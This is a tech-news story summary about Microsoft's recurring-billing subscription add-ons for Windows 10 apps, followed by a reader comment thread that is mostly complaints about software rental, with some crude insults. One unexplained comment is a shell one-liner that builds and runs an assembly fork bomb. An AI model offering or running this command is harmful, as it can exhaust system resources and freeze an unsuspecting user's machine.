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Subscriptions With Automated Recurring Billing Come To Windows 10 (betanews.com)
An anonymous reader shares a report: In yet another bid to woo developers to the platform, Microsoft is introducing subscription add-ons for Windows 10 Anniversary Edition, and later. Available to all UWP developers, the add-on subscriptions with automated recurring billing will allow creators to sell digital products directly in their apps. Subscription periods available include 1 month, 3 months, 6 months, 1 year or 2 years, and it's possible for developers to offer a free trial period too.
you imbecile
Read the article, comprehend that this is for third parties to sell subscription, then post
read ->comprehend->post
then get back to eating Cheetos in your moms basement while I am busy mailing her
Yeah.... I just read the summary and it's just the same model a lot of companies are already using for their products, but simplified for Windows developers (I guess if sold through the app store, MS gets a cut). It has NOTHING to do with the OS.
Stupid sexy Flanders.
Kids are being brought up in a world where subscriptions and unlimited micropayments are normal.
25 cents for 25 file copy operations is next eh?
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
Don't buy in....
So far, I'm not going with Adobe's rental model, for example. I can do just fine with the CS6 suite for example I bought....and there are now competitors for many of those tools (Affinity Photo, Affinity Designer, OnOne....etc)......
Don't give into this bullshit of renting your software....vote with your wallet, keep it closed.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
PLEASE folks.....vote for this subscription BS with you wallets.
Don't buy in....
So far, I'm not going with Adobe's rental model, for example. I can do just fine with the CS6 suite for example I bought....and there are now competitors for many of those tools (Affinity Photo, Affinity Designer, OnOne....etc)......
Don't give into this bullshit of renting your software....vote with your wallet, keep it closed.
I wish there were enough people that agreed with this stance to make a real difference, and change the course we're on.
Unfortunately, you represent a mere fraction of consumer mentality out there, so SaaS infections will continue and be inevitable.
Don't worry Zuckerberg is in favour of a Universal Basic Income.
The first stage is a UBI
The second stage is that everything needs micropayment, cunningly priced so that the average person spends their whole UBI
The final stage is that the UBI goes directly to Whole foods, Apple or Microsoft, Facebook etc.
If you want a vision of the future imagine a vegan Birkenstock stamping on a human face forever
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Stop mailing my mom!
As the OLD song goes...
"...teach your children well....."
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
If you've stuck with Windows despite all the horrible shit that Microsoft has been doing to you, you've earned this. Seriously, you have put in a concerted effort bear all the spying, absurd UI changes and just all around malicious behavior, so this is your reward.
Anons need not reply. Questions end with a question mark.
It has NOTHING to do with the OS.
Yet.
Microsoft is setting up a large recurring payments infrastructure. You don't have to be a genius to see what's coming after the "beta testers" are done with it.
No sig today...
True....
But then again, it ain't over, till it's over, you know?
Often, people don't know better, and every time you make a comment, well, someone might hear it and change their mind...and then change someone else's mind, etc.
And, look at the case with Adobe....
Sure, they are the monster winner now, BUT, there are a LOT of very viable alternatives springing up now. And I think some will really challenge Adobe, in that in many cases, like with Affinity Photo, they're creating from ground up, so there isn't all the legacy code underneath the covers, and they are faster and quicker....and I'm starting to see innovation on the new guys, as that with Adobe getting monthly payments, their incentive to really keep working for new breakthroughs really isn't as high as it might have been in past years.
So, while it is a tough fight now...it is worth fighting, it takes time, but even Tsunamis start out as small waves....
Light travels faster than sound. This is why some people appear bright until you hear them speak.........